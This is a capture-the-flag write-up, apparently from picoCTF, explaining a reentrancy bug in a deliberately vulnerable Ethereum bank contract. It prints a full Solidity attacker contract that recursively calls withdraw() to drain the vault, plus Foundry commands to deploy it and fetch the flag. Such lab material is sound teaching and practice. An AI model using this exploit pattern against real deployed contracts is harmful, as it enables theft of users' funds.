Reentrance

Published: March 20, 2026

Description

The lead developer at SecureBank Corp is back. He claims he's patched the vault and created the ultimate, unhackable Ethereum contract. Your mission: Drain the vault down to 0 and force the contract to surrender the flag. Contract: here

Download and read VulnBank.sol to understand the contract's withdraw logic.

Set up a Foundry or Hardhat environment to deploy and interact with the contract.

cat VulnBank.sol

Solution

  1. Step 1Identify the reentrancy vulnerability
    The contract sends ETH to the caller before updating the balance (checks-effects-interactions pattern violated). A malicious contract can call back into withdraw() in its receive() function before the balance is zeroed, draining all funds.
  2. Step 2Write the attacker contract
    Deploy an attacker contract that deposits ETH, then calls withdraw(). In its receive() fallback, it calls withdraw() again recursively until the vault is drained.
    cat > Attacker.sol << 'EOF' // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IVulnBank { function deposit() external payable; function withdraw(uint256 amount) external; function getFlag() external view returns (string memory); } contract Attacker { IVulnBank public target; uint256 public attackAmount; constructor(address _target) { target = IVulnBank(_target); } function attack() external payable { attackAmount = msg.value; target.deposit{value: msg.value}(); target.withdraw(msg.value); } receive() external payable { if (address(target).balance >= attackAmount) { target.withdraw(attackAmount); } } function getFlag() external view returns (string memory) { return target.getFlag(); } } EOF
  3. Step 3Deploy, attack, and read the flag
    Deploy the attacker contract, call attack() with some ETH, and once the vault is drained, call getFlag() to retrieve the flag.
    # Using Foundry:
    forge script Attack.s.sol --rpc-url RPC_URL --private-key PRIVATE_KEY --broadcast
    cast call ATTACKER_ADDR 'getFlag()(string)' --rpc-url RPC_URL

Flag

picoCTF{r33ntr4ncy_dr41n3d_...}

Classic reentrancy attack: the contract sends ETH before updating state, allowing recursive withdrawal to drain the vault.